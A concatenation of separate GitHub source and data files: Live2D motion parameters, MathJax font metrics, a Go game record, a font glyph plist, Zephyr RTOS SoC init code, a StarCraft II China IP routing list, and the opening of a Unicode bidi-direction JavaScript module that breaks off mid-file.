PARAM_BROW_R_ANGLE=-0.72,-0.72,-0.72,-0.72,-0.72,-0.72,-0.72,-0.72,-0.72,-0.72,-0.72,-0.72,-0.72,-0.72,-0.72,-0.72,-0.72,-0.72,-0.72,-0.72,-0.72,-0.72,-0.72,-0.72,-0.72,-0.72,-0.72,-0.72,-0.72,-0.72,-0.72,-0.72,-0.72,-0.72,-0.72,-0.72,-0.72,-0.72,-0.72,-0.72,-0.72,-0.72,-0.72,-0.72,-0.72,-0.72,-0.72,-0.72,-0.72,-0.72,-0.72,-0.72,-0.72,-0.72,-0.72,-0.72,-0.72,-0.72,-0.72,-0.72,-0.72,-0.72,-0.72,-0.72,-0.72,-0.72,-0.72,-0.72,-0.72,-0.72,-0.72,-0.72,-0.72,-0.72,-0.72,-0.72,-0.72,-0.72,-0.72,-0.72,-0.72,-0.72,-0.72,-0.72,-0.72,-0.72,-0.72,-0.72,-0.72,-0.72,-0.72,-0.72,-0.72,-0.72,-0.72,-0.72,-0.72,-0.59,-0.39,-0.19,-0.05,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0 PARAM_BROW_L_FORM=-0.2,-0.2,-0.2,-0.2,-0.2,-0.2,-0.2,-0.2,-0.2,-0.2,-0.2,-0.2,-0.2,-0.2,-0.2,-0.2,-0.2,-0.2,-0.2,-0.2,-0.2,-0.2,-0.2,-0.2,-0.2,-0.2,-0.2,-0.2,-0.2,-0.2,-0.2,-0.2,-0.2,-0.2,-0.2,-0.2,-0.2,-0.2,-0.2,-0.2,-0.2,-0.2,-0.2,-0.2,-0.2,-0.2,-0.2,-0.2,-0.2,-0.2,-0.2,-0.2,-0.2,-0.2,-0.2,-0.2,-0.2,-0.2,-0.2,-0.2,-0.2,-0.2,-0.2,-0.2,-0.2,-0.2,-0.2,-0.2,-0.2,-0.2,-0.2,-0.2,-0.2,-0.2,-0.2,-0.2,-0.2,-0.2,-0.2,-0.2,-0.2,-0.2,-0.2,-0.2,-0.2,-0.2,-0.2,-0.2,-0.2,-0.2,-0.2,-0.2,-0.2,-0.2,-0.2,-0.2,-0.2,-0.16,-0.11,-0.05,-0.02,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0 PARAM_BROW_R_FORM=-0.2,-0.2,-0.2,-0.2,-0.2,-0.2,-0.2,-0.2,-0.2,-0.2,-0.2,-0.2,-0.2,-0.2,-0.2,-0.2,-0.2,-0.2,-0.2,-0.2,-0.2,-0.2,-0.2,-0.2,-0.2,-0.2,-0.2,-0.2,-0.2,-0.2,-0.2,-0.2,-0.2,-0.2,-0.2,-0.2,-0.2,-0.2,-0.2,-0.2,-0.2,-0.2,-0.2,-0.2,-0.2,-0.2,-0.2,-0.2,-0.2,-0.2,-0.2,-0.2,-0.2,-0.2,-0.2,-0.2,-0.2,-0.2,-0.2,-0.2,-0.2,-0.2,-0.2,-0.2,-0.2,-0.2,-0.2,-0.2,-0.2,-0.2,-0.2,-0.2,-0.2,-0.2,-0.2,-0.2,-0.2,-0.2,-0.2,-0.2,-0.2,-0.2,-0.2,-0.2,-0.2,-0.2,-0.2,-0.2,-0.2,-0.2,-0.2,-0.2,-0.2,-0.2,-0.2,-0.2,-0.2,-0.16,-0.11,-0.05,-0.02,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0 PARAM_BROW_S=0 PARAM_MOUTH_FORM=-3,-3,-3,-3,-3,-3,-3,-3,-3,-3,-3,-3,-3,-3,-3,-3,-3,-3,-3,-3,-3,-3,-3,-3,-3,-3,-3,-3,-3,-3,-3,-3,-3,-3,-3,-3,-3,-3,-3,-3,-3,-3,-3,-3,-3,-3,-3,-3,-3,-3,-3,-3,-3,-3,-3,-3,-3,-3,-3,-3,-3,-3,-3,-3,-3,-3,-3,-3,-3,-3,-3,-3,-3,-3,-2.46,-1.61,-0.8,-0.23,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0 PARAM_MOUTH_OPEN_Y=0,0.35,0.71,0.54,0.38,0.44,0.51,0.58,0.64,0.62,0.6,0.85,1,0.75,0.41,0.96,1,0.79,0.06,0.37,0.67,1,1,1,0.61,0.32,0.03,0.83,1,1,0.83,0.57,0.31,0.7,1,0.996,0.91,0.56,0.2,0.72,1,0.62,0,0.64,1,1,1,1,0.98,0.91,0.84,0.76,0.69,0.39,0.09,0.092,0.089,0.086,0.084,0.081,0,0,0,0,0,0,0,0,0,0,0,0,0,0.04,0.06,0.061,0.03,0.19,0.35,0.51,0.67,0.83,0.99,0.62,0.25,0.64,1,1,1,1,0.91,0.93,0.96,1,1,1,1,0.85,0.41,0.55,0.69,0.97,1,1,1,1,1,0.94,0.88,0.44,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0 PARAM_MOUTH_AWAWA=0 PARAM_MOUTH_SCALE=0 PARAM_CHEEK=0 PARAM_SWEAT=0 PARAM_BODY_ANGLE_X=0,-0.016,-0.06,-0.13,-0.23,-0.35,-0.48,-0.64,-0.8,-0.98,-1.17,-1.37,-1.56,-1.77,-1.97,-2.18,-2.38,-2.58,-2.77,-2.96,-3.13,-3.29,-3.45,-3.58,-3.7,-3.81,-3.89,-3.95,-3.99,-4,-4,-4,-4,-4,-4,-4,-3.95,-3.8,-3.56,-3.24,-2.86,-2.43,-1.94,-1.44,-0.9,-0.35,0.21,0.75,1.28,1.78,2.25,2.68,3.06,3.39,3.65,3.84,3.96,4,4,4,4,4,4,4,4,4,3.95,3.82,3.61,3.35,3.06,2.73,2.39,2.05,1.7,1.37,1.05,0.76,0.51,0.3,0.14,0.04,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0 PARAM_BODY_ANGLE_Y=0,-0.004,-0.002,0,0.004,0.008,0.014,0.02,0.027,0.036,0.044,0.054,0.064,0.076,0.088,0.1,0.113,0.127,0.141,0.156,0.172,0.188,0.204,0.221,0.238,0.256,0.274,0.293,0.311,0.33,0.349,0.369,0.388,0.408,0.428,0.448,0.468,0.488,0.508,0.528,0.548,0.568,0.588,0.607,0.627,0.647,0.666,0.685,0.703,0.722,0.74,0.757,0.775,0.791,0.808,0.824,0.839,0.854,0.869,0.882,0.896,0.908,0.92,0.931,0.941,0.951,0.96,0.968,0.975,0.982,0.987,0.992,0.995,0.998,0.999,1,0.97,0.88,0.75,0.57,0.37,0.14,-0.1,-0.34,-0.58,-0.8,-1.01,-1.18,-1.32,-1.4,-1.44,-1.09,-0.52,-0.13,0,-0.21,-0.75,-1.53,-2.42,-3.35,-4.22,-4.95,-5.52,-5.87,-6,-5.62,-4.7,-3.57,-2.48,-1.6,-1.04,-0.85,-0.93,-1.1,-1.31,-1.54,-1.74,-1.91,-2.02,-2.07,-2.07,-2.07,-2.07,-2.07,-2.07,-2.07,-2.07,-2.07,-2.07,-2.07,-2.07,-2.07,-2.07,-2.07,-2.07,-2.07 PARAM_BODY_ANGLE_Z=0 PARAM_UPPER_BODY=0 PARAM_BREATH=0 PARAM_HAIR_FRONT=0 PARAM_HAIR_SIDE=0 PARAM_HAIR_BACK=0 PARAM_HAIR_BACK2=0 PARAM_ARM_L_A=0 PARAM_ARM_R_A=0 PARAM_ARM_CHANGE_A=0 PARAM_ARM_L_B=-0.68,-0.8,-1.12,-1.58,-2.14,-2.77,-3.43,-4.09,-4.74,-5.34,-5.89,-6.34,-6.69,-6.92,-7,-7,-7,-7,-7,-6.999,-6.998,-6.996,-6.995,-6.992,-6.989,-6.986,-6.982,-6.976,-6.971,-6.964,-6.956,-6.947,-6.937,-6.926,-6.913,-6.9,-6.885,-6.868,-6.85,-6.83,-6.81,-6.79,-6.76,-6.73,-6.71,-6.67,-6.64,-6.61,-6.57,-6.53,-6.49,-6.45,-6.4,-6.35,-6.3,-6.24,-6.19,-6.13,-6.07,-6,-5.91,-5.79,-5.63,-5.45,-5.23,-5,-4.74,-4.47,-4.18,-3.88,-3.57,-3.25,-2.93,-2.62,-2.3,-2,-1.7,-1.42,-1.16,-0.91,-0.69,-0.49,-0.32,-0.19,-0.09,-0.02,0,-0.24,-0.89,-1.82,-2.93,-4.07,-5.18,-6.11,-6.76,-7,-6.69,-5.88,-4.71,-3.37,-1.97,-0.68,0.43,1.28,1.81,2,1.93,1.75,1.48,1.16,0.84,0.52,0.25,0.07,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0 PARAM_ARM_L2_B=0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,-0.08,-0.29,-0.63,-1.04,-1.5,-2,-2.5,-2.96,-3.38,-3.71,-3.92,-4,-4,-4,-4,-4,-4,-4,-4,-4,-4,-4,-4,-4,-4,-4,-4,-4,-4,-4,-4,-4,-4,-4,-4,-4,-4,-4,-4,-4,-4,-4,-4,-4,-4,-4,-4,-4,-4,-4,-4,-4 PARAM_ARM_L3_B=0,0,0,0.06,0.22,0.46,0.76,1.1,1.46,1.81,2.13,2.42,2.66,2.85,2.96,3,2.994,2.977,2.95,2.91,2.87,2.81,2.75,2.67,2.6,2.51,2.42,2.32,2.23,2.12,2.02,1.91,1.8,1.68,1.57,1.46,1.34,1.23,1.12,1.02,0.91,0.81,0.71,0.61,0.53,0.44,0.36,0.29,0.23,0.17,0.12,0.08,0.04,0.02,0.005,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1.21,3.19,4.56,5,3.75,1.75,-0.12,-1.47,-2,-2,-2,-2,-2,-2,-2,-2,-2,-2,-2,-2,-2,-2,-2,-2,-2,-2,-2,-2,-2,-2,-2,-2,-2,-2 PARAM_ARM_R_B=-0.68,-0.8,-1.12,-1.58,-2.14,-2.77,-3.43,-4.09,-4.74,-5.34,-5.89,-6.34,-6.69,-6.92,-7,-7,-7,-7,-7,-7,-7,-7,-7,-7,-7,-7,-7,-7,-7,-7,-7,-7,-7,-7,-7,-7,-7,-7,-7,-7,-7,-7,-7,-7,-7,-7,-7,-7,-7,-7,-7,-7,-7,-7,-7,-7,-7,-7,-7,-7,-6.97,-6.89,-6.76,-6.58,-6.37,-6.12,-5.83,-5.52,-5.19,-4.83,-4.46,-4.08,-3.69,-3.31,-2.92,-2.54,-2.17,-1.81,-1.48,-1.17,-0.88,-0.63,-0.42,-0.24,-0.11,-0.03,0,-0.24,-0.89,-1.82,-2.93,-4.07,-5.18,-6.11,-6.76,-7,-6.66,-5.75,-4.45,-2.96,-1.42,0.03,1.26,2.2,2.79,3,2.9,2.62,2.22,1.75,1.25,0.78,0.38,0.1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0 PARAM_PARAM_ARM_L2_B=0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,-0.08,-0.29,-0.63,-1.04,-1.5,-2,-2.5,-2.96,-3.38,-3.71,-3.92,-4,-4,-4,-4,-4,-4,-4,-4,-4,-4,-4,-4,-4,-4,-4,-4,-4,-4,-4,-4,-4,-4,-4,-4,-4,-4,-4,-4,-4,-4,-4,-4,-4,-4,-4,-4,-4,-4,-4,-4,-4 PARAM_ARM_R3_B=0,0,0,0.06,0.22,0.47,0.78,1.13,1.5,1.87,2.22,2.53,2.78,2.94,3,2.994,2.977,2.95,2.91,2.87,2.81,2.75,2.68,2.61,2.52,2.44,2.35,2.25,2.15,2.05,1.95,1.84,1.73,1.62,1.51,1.41,1.3,1.19,1.08,0.98,0.88,0.78,0.69,0.6,0.51,0.43,0.35,0.28,0.22,0.17,0.12,0.08,0.04,0.02,0.005,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0.48,1.28,1.82,2,1.28,0.14,-0.93,-1.7,-2,-2,-2,-2,-2,-2,-2,-2,-2,-2,-2,-2,-2,-2,-2,-2,-2,-2,-2,-2,-2,-2,-2,-2,-2,-2 PARAM_ARM_L_C=10 PARAM_ARM_R_C=10 PARAM_CLOTHES_A=0 PARAM_CLOTHES_B=0 PARAM_CLOTHES_C=0 VISIBLE:PARTS_ARM_01_L=0 VISIBLE:PARTS_ARM_01_R=0 VISIBLE:PARTS_ARM_02_L=1 VISIBLE:PARTS_ARM_02_R=1 VISIBLE:PARTS_ARM_03_L=0 VISIBLE:PARTS_ARM_03_R=0 VISIBLE:PARTS_CLOTHES=1
{ "pile_set_name": "Github" }
/* * /MathJax/fonts/HTML-CSS/TeX/png/SansSerif/Italic/CombDiacritMarks.js * * Copyright (c) 2010-2013 The MathJax Consortium * * Part of the MathJax library. * See http://www.mathjax.org for details. * * Licensed under the Apache License, Version 2.0; * you may not use this file except in compliance with the License. * * http://www.apache.org/licenses/LICENSE-2.0 */ MathJax.OutputJax["HTML-CSS"].defineImageData({"MathJax_SansSerif-italic":{768:[[2,1,-4],[3,2,-4],[3,2,-6],[3,2,-7],[3,2,-7],[4,3,-9],[5,4,-10],[5,4,-13],[6,5,-15],[7,6,-17],[8,7,-21],[9,8,-24],[11,10,-30],[13,11,-34]],769:[[3,1,-4],[3,2,-4],[3,2,-6],[4,2,-7],[4,2,-7],[6,3,-9],[6,4,-10],[7,4,-13],[8,5,-15],[10,6,-17],[11,7,-21],[12,8,-24],[15,10,-30],[18,11,-34]],770:[[4,1,-4],[4,2,-4],[5,2,-6],[5,2,-7],[6,2,-7],[7,3,-9],[8,4,-10],[9,4,-13],[10,5,-15],[13,6,-17],[15,7,-21],[17,8,-24],[20,10,-30],[24,11,-34]],771:[[4,1,-3],[4,1,-5],[4,2,-5],[5,3,-6],[6,2,-7],[6,3,-9],[8,3,-10],[9,3,-13],[11,4,-15],[12,5,-17],[15,6,-21],[17,6,-25],[21,8,-31],[24,9,-35]],772:[[4,1,-3],[4,1,-5],[5,1,-6],[5,2,-6],[6,2,-6],[8,3,-9],[9,2,-11],[10,2,-13],[11,3,-16],[14,3,-18],[16,4,-22],[18,4,-25],[22,5,-31],[26,6,-36]],774:[[3,1,-4],[4,2,-4],[4,2,-6],[5,3,-6],[6,3,-6],[7,4,-8],[8,4,-10],[9,4,-13],[11,6,-14],[13,6,-17],[15,8,-20],[18,9,-23],[21,11,-29],[24,12,-33]],775:[[2,1,-3],[2,1,-5],[2,2,-5],[3,2,-7],[3,2,-7],[3,2,-10],[3,3,-10],[4,3,-13],[4,3,-16],[5,4,-18],[6,5,-22],[7,5,-26],[8,6,-33],[9,7,-38]],776:[[3,1,-3],[4,1,-5],[4,2,-5],[5,2,-7],[5,2,-7],[6,2,-10],[7,2,-11],[8,3,-13],[10,3,-16],[11,4,-18],[13,4,-23],[15,5,-26],[19,6,-33],[21,7,-38]],778:[[2,1,-3],[2,2,-4],[3,2,-5],[3,2,-7],[4,2,-7],[4,3,-9],[5,3,-10],[6,5,-11],[7,5,-14],[8,6,-16],[9,7,-21],[11,8,-24],[13,10,-30],[15,11,-34]],779:[[3,2,-2],[4,2,-4],[4,2,-5],[5,3,-6],[5,3,-6],[7,3,-9],[8,4,-9],[9,5,-11],[10,5,-14],[13,6,-16],[15,8,-20],[17,9,-23],[20,10,-30],[24,11,-34]],780:[[3,1,-3],[4,2,-4],[4,2,-5],[5,2,-6],[5,2,-6],[6,3,-9],[8,4,-10],[9,4,-12],[10,5,-14],[12,6,-16],[15,7,-19],[17,8,-22],[20,10,-28],[23,11,-32]]}});MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].imgDir+"/SansSerif/Italic"+MathJax.OutputJax["HTML-CSS"].imgPacked+"/CombDiacritMarks.js");
{ "pile_set_name": "Github" }
(;CA[UTF-8]AP[YuanYu]GM[1]FF[4] SZ[19] GN[] DT[2017-07-12] PB[骊龙]BR[9段] PW[顺利过关]WR[9段] KM[750]HA[0]RU[Japanese]RE[W+R]TM[60]TC[3]TT[60] ;B[qd];W[dc];B[pq];W[dq];B[nc];W[cf];B[qk];W[mp];B[po];W[jp];B[do] ;W[dl];B[ho];W[hq];B[gq];W[gp];B[hp];W[iq];B[eq];W[fq];B[ep];W[gr] ;B[er];W[nd];B[od];W[mc];B[md];W[ne];B[lc];W[mb];B[oc];W[ld];B[me] ;W[kc];B[le];W[kd];B[nf];W[ke];B[cn];W[cp];B[cr];W[ii];B[bl];W[cj] ;B[fc];W[ec];B[fe];W[gc];B[fb];W[hc];B[cd];W[de];B[cc];W[dd];B[cb] ;W[be];B[gd];W[gf];B[ff];W[gg];B[hd];W[ic];B[fg];W[fh];B[eh];W[fi] ;B[ch];W[dg];B[dh];W[eg];B[bd];W[eb];B[bg];W[bf];B[dj];W[bb];B[ba] ;W[ab];B[ad];W[da];B[dk];W[qm];B[ca];W[gb];B[fa];W[he];B[pl];W[qp] ;B[pp];W[qo];B[qq];W[pm];B[om];W[rk];B[rj];W[rl];B[qj];W[rn];B[mr] ;W[go];B[li];W[fl];B[fk];W[cl];B[ck];W[el];B[cm];W[nb];B[ob];W[lk] ;B[fj];W[gl];B[hk];W[hi];B[hl];W[bk];B[bj];W[hm];B[im];W[hn];B[fn] ;W[fo];B[en];W[gn];B[kf];W[jf];B[kg];W[nk];B[cg];W[df];B[af];W[ae] ;B[ni];W[kh];B[ki];W[lf];B[mf];W[lg];B[ml];W[ll];B[lm];W[km];B[ln] ;W[kn];B[lo];W[lr];B[mq];W[lp];B[ko];W[lq];B[jo];W[jj];B[jl];W[jg] ;B[mh];W[mg];B[ng];W[kk];B[mk];W[in];B[rp];W[ro];B[rq];W[pn];B[on] ;W[jm];B[hj];W[nq];B[nr];W[mj];B[lj];W[mm];B[nl];W[nm];B[ol];W[no] ;B[nn];W[or];B[oq];W[ms];B[np];W[ns];B[nq];W[mo];B[mn];W[pr];B[qr] ;W[os];B[oo];W[sj];B[si];W[sk];B[ri];W[io];B[il];W[ji];B[fr];W[ag] ;B[ah];W[eo];B[dp];W[ei];B[na];W[di];B[ci];W[lb];B[kp];W[kq];B[fp] ;W[gq];B[gs];W[hs];B[fs];W[ma];B[oa];W[sp];B[sq];W[so];B[af];W[lh] ;B[ag];W[kj];B[mi];W[gi];B[db];W[ea];B[ce];W[ga];B[fd];W[id];B[ef] ;W[ge];B[jr];W[jq];B[ls];W[ks];B[qs];W[dm];B[dn];W[ls];B[fm];W[gm] ;B[ql];W[kl];B[gj];W[ij];B[ak];W[jk];B[ek];W[gk];B[ej];W[jn];B[sm] ;W[rm];B[hr];W[ir];B[ps];W[ik];B[em])
{ "pile_set_name": "Github" }
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> <plist version="1.0"> <dict> <key>A</key> <string>A_.glif</string> <key>B</key> <string>B_.glif</string> <key>C</key> <string>C_.glif</string> <key>D</key> <string>D_.glif</string> <key>E</key> <string>E_.glif</string> <key>F</key> <string>F_.glif</string> <key>G</key> <string>G_.glif</string> <key>H</key> <string>H_.glif</string> <key>I</key> <string>I_.glif</string> <key>J</key> <string>J_.glif</string> <key>K</key> <string>K_.glif</string> <key>L</key> <string>L_.glif</string> <key>M</key> <string>M_.glif</string> <key>N</key> <string>N_.glif</string> <key>O</key> <string>O_.glif</string> <key>P</key> <string>P_.glif</string> <key>Q</key> <string>Q_.glif</string> <key>R</key> <string>R_.glif</string> <key>S</key> <string>S_.glif</string> <key>T</key> <string>T_.glif</string> <key>U</key> <string>U_.glif</string> <key>V</key> <string>V_.glif</string> <key>W</key> <string>W_.glif</string> <key>X</key> <string>X_.glif</string> <key>Y</key> <string>Y_.glif</string> <key>Z</key> <string>Z_.glif</string> <key>a</key> <string>a.glif</string> <key>a.italic</key> <string>a.italic.glif</string> <key>b</key> <string>b.glif</string> <key>c</key> <string>c.glif</string> <key>c.italic</key> <string>c.italic.glif</string> <key>d</key> <string>d.glif</string> <key>d.italic</key> <string>d.italic.glif</string> <key>e</key> <string>e.glif</string> <key>f</key> <string>f.glif</string> <key>f.italic</key> <string>f.italic.glif</string> <key>flatg</key> <string>flatg.glif</string> <key>g</key> <string>g.glif</string> <key>g.italic</key> <string>g.italic.glif</string> <key>h</key> <string>h.glif</string> <key>h.italic</key> <string>h.italic.glif</string> <key>i</key> <string>i.glif</string> <key>i.italic</key> <string>i.italic.glif</string> <key>j</key> <string>j.glif</string> <key>k</key> <string>k.glif</string> <key>k.italic</key> <string>k.italic.glif</string> <key>l</key> <string>l.glif</string> <key>l.italic</key> <string>l.italic.glif</string> <key>m</key> <string>m.glif</string> <key>m.italic</key> <string>m.italic.glif</string> <key>n</key> <string>n.glif</string> <key>n.italic</key> <string>n.italic.glif</string> <key>o</key> <string>o.glif</string> <key>p</key> <string>p.glif</string> <key>q</key> <string>q.glif</string> <key>r</key> <string>r.glif</string> <key>r.italic</key> <string>r.italic.glif</string> <key>s</key> <string>s.glif</string> <key>s.italic</key> <string>s.italic.glif</string> <key>t</key> <string>t.glif</string> <key>u</key> <string>u.glif</string> <key>u.italic</key> <string>u.italic.glif</string> <key>v</key> <string>v.glif</string> <key>w</key> <string>w.glif</string> <key>w.italic</key> <string>w.italic.glif</string> <key>x</key> <string>x.glif</string> <key>x.italic</key> <string>x.italic.glif</string> <key>y</key> <string>y.glif</string> <key>y.italic</key> <string>y.italic.glif</string> <key>z</key> <string>z.glif</string> <key>z.italic</key> <string>z.italic.glif</string> </dict> </plist>
{ "pile_set_name": "Github" }
/* * Copyright (c) 2020 Antmicro <www.antmicro.com> * * SPDX-License-Identifier: Apache-2.0 */ #include <kernel.h> #include <init.h> #include <soc.h> #include <soc_pinmap.h> #include <arch/arm/aarch32/cortex_m/cmsis.h> void eos_s3_lock_enable(void) { MISC_CTRL->LOCK_KEY_CTRL = MISC_LOCK_KEY; } void eos_s3_lock_disable(void) { MISC_CTRL->LOCK_KEY_CTRL = 1; } int eos_s3_io_mux(uint32_t pad_nr, uint32_t pad_cfg) { volatile uint32_t *p = (uint32_t *)IO_MUX_BASE; if (pad_nr > EOS_S3_MAX_PAD_NR) { return -EINVAL; } p += pad_nr; *p = pad_cfg; return 0; } static void eos_s3_cru_init(void) { /* Set desired frequency */ AIP->OSC_CTRL_0 |= AIP_OSC_CTRL_EN; AIP->OSC_CTRL_0 &= ~AIP_OSC_CTRL_FRE_SEL; OSC_SET_FREQ_INC(HSOSC_60MHZ); while (!OSC_CLK_LOCKED()) { ; } /* Enable all clocks for every domain */ CRU->CLK_DIVIDER_CLK_GATING = (CLK_DIVIDER_A_CG | CLK_DIVIDER_B_CG | CLK_DIVIDER_C_CG | CLK_DIVIDER_D_CG | CLK_DIVIDER_F_CG | CLK_DIVIDER_G_CG | CLK_DIVIDER_H_CG | CLK_DIVIDER_I_CG | CLK_DIVIDER_J_CG); /* Turn off divisor for A0 domain */ CRU->CLK_CTRL_A_0 = 0; /* Enable UART, WDT and TIMER peripherals */ CRU->C11_CLK_GATE = C11_CLK_GATE_PATH_0_ON; /* Set divider for domain C11 to ~ 5.12MHz */ CRU->CLK_CTRL_D_0 = (CLK_CTRL_CLK_DIVIDER_ENABLE | CLK_CTRL_CLK_DIVIDER_RATIO_12); } static int eos_s3_init(const struct device *arg) { uint32_t key; ARG_UNUSED(arg); /* Clocks setup */ eos_s3_lock_enable(); eos_s3_cru_init(); eos_s3_lock_disable(); SCnSCB->ACTLR |= SCnSCB_ACTLR_DISDEFWBUF_Msk; /* Clear all interrupts */ INTR_CTRL->OTHER_INTR = 0xFFFFFF; /* Enable UART interrupt */ INTR_CTRL->OTHER_INTR_EN_M4 = UART_INTR_EN_M4; key = irq_lock(); NMI_INIT(); irq_unlock(key); return 0; } SYS_INIT(eos_s3_init, PRE_KERNEL_1, 0);
{ "pile_set_name": "Github" }
#StarCraftⅡ-cn,星际争霸2国服,0,0,1,0,1,0,By-normanbb 12.129.202.0/24 12.129.206.0/24 12.129.210.0/24 12.129.222.0/24 12.129.242.0/24 12.130.193.0/24 14.215.228.0/24 36.25.240.0/24 39.129.16.0/24 42.186.64.0/24 42.186.64.174/32 42.186.64.175/32 42.186.64.176/32 42.186.64.177/32 42.186.64.178/32 42.186.64.179/32 42.186.64.180/32 42.186.64.181/32 58.51.151.0/24 58.87.72.0/24 58.216.109.0/24 58.220.6.0/24 58.222.42.0/24 58.222.46.0/24 59.34.43.0/24 59.111.134.0/24 59.111.134.238/32 59.111.135.0/24 59.111.135.231/32 59.111.135.238/32 59.111.135.240/32 60.220.196.0/24 61.147.112.0/24 61.147.228.0/24 61.163.111.0/24 103.215.141.0/24 106.57.180.0/24 106.60.70.0/24 111.41.53.0/24 112.17.2.0/24 112.29.186.0/24 112.29.203.0/24 112.113.248.0/24 113.106.27.0/24 113.142.80.0/24 113.142.88.0/24 114.113.217.0/24 114.113.217.193/32 114.236.88.0/24 114.236.140.0/24 115.153.176.0/24 115.223.16.0/24 115.223.26.0/24 115.238.0.0/16 115.238.1.0/24 115.238.2.0/24 115.238.3.0/24 115.238.5.0/24 115.238.9.0/24 115.238.11.0/24 115.238.13.0/24 115.238.15.0/24 115.238.112.0/24 116.242.0.0/16 117.23.54.0/24 117.161.5.0/24 117.169.93.0/24 119.52.121.0/24 120.209.141.0/24 121.17.125.0/24 121.254.164.0/24 121.254.166.0/24 121.254.168.0/24 121.254.200.0/24 122.198.64.0/24 122.198.65.0/24 122.198.66.0/24 122.198.67.0/24 122.225.38.0/24 123.58.183.0/24 123.58.183.130/32 123.58.183.131/32 123.58.183.132/32 123.58.183.133/32 123.58.183.134/32 123.58.183.135/32 123.58.183.136/32 123.58.183.137/32 123.58.183.138/32 123.58.183.139/32 123.58.183.140/32 123.58.183.141/32 123.58.183.142/32 123.58.183.143/32 123.58.183.144/32 124.225.98.0/24 124.225.168.0/24 124.225.183.0/24 180.88.61.0/24 180.97.244.0/24 180.101.30.0/24 182.140.211.0/24 182.140.211.3/32 182.140.211.4/32 182.140.211.5/32 182.140.211.6/32 182.140.211.7/32 182.140.211.8/32 182.140.211.9/32 182.140.211.10/32 182.140.211.11/32 182.140.211.12/32 182.140.211.13/32 182.140.211.14/32 182.140.211.15/32 182.140.211.16/32 182.140.211.17/32 182.140.211.18/32 182.140.211.19/32 182.140.211.20/32 182.140.211.21/32 182.140.211.22/32 182.140.211.23/32 182.140.211.24/32 182.140.211.25/32 182.140.211.26/32 182.140.211.27/32 182.140.211.45/32 182.140.211.46/32 182.140.211.47/32 182.140.211.48/32 182.140.211.49/32 183.60.151.0/24 183.131.111.0/24 183.216.174.0/24 195.12.229.0/24 202.114.91.0/24 202.150.17.0/24 208.111.144.0/24 208.111.145.0/24 213.248.127.0/24 218.75.225.0/24 218.77.18.0/24 218.164.96.0/24 218.241.152.0/24 219.139.240.0/24 219.145.171.0/24 220.164.146.0/24 220.181.102.0/24 220.181.102.66/32 220.181.102.67/32 220.181.102.68/32 220.181.102.69/32 220.181.102.70/32 220.181.102.71/32 220.181.102.72/32 220.181.102.75/32 220.181.102.76/32 220.181.102.77/32 220.181.102.194/32 220.181.102.195/32 220.181.102.196/32 220.181.102.197/32 220.181.102.198/32 220.181.102.199/32 222.20.147.0/24 222.186.145.0/24 222.231.21.0/24 222.231.22.0/24 222.231.23.0/24 222.231.24.0/24 223.111.13.0/24 223.111.17.0/24 223.111.18.0/24 223.111.19.0/24 223.111.188.0/24 223.111.192.0/24 223.111.204.0/24 223.252.230.0/24 223.252.231.0/24 223.252.234.0/24 223.252.242.0/24 223.252.243.0/24 223.252.245.0/24
{ "pile_set_name": "Github" }
/** * Copyright (c) 2013-present, Facebook, Inc. * All rights reserved. * * This source code is licensed under the BSD-style license found in the * LICENSE file in the root directory of this source tree. An additional grant * of patent rights can be found in the PATENTS file in the same directory. * * @typechecks * */ /** * Basic (stateless) API for text direction detection * * Part of our implementation of Unicode Bidirectional Algorithm (UBA) * Unicode Standard Annex #9 (UAX9) * http://www.unicode.org/reports/tr9/ */ 'use strict'; var UnicodeBidiDirection = require('./UnicodeBidiDirection'); var invariant = require('./invariant'); /** * RegExp ranges of characters with a *Strong* Bidi_Class value. * * Data is based on DerivedBidiClass.txt in UCD version 7.0.0. * * NOTE: For performance reasons, we only support Unicode's * Basic Multilingual Plane (BMP) for now. */ var RANGE_BY_BIDI_TYPE = { L: 'A-Za-z\xAA\xB5\xBA\xC0-\xD6\xD8-\xF6\xF8-\u01BA\u01BB' + '\u01BC-\u01BF\u01C0-\u01C3\u01C4-\u0293\u0294\u0295-\u02AF\u02B0-\u02B8' + '\u02BB-\u02C1\u02D0-\u02D1\u02E0-\u02E4\u02EE\u0370-\u0373\u0376-\u0377' + '\u037A\u037B-\u037D\u037F\u0386\u0388-\u038A\u038C\u038E-\u03A1' + 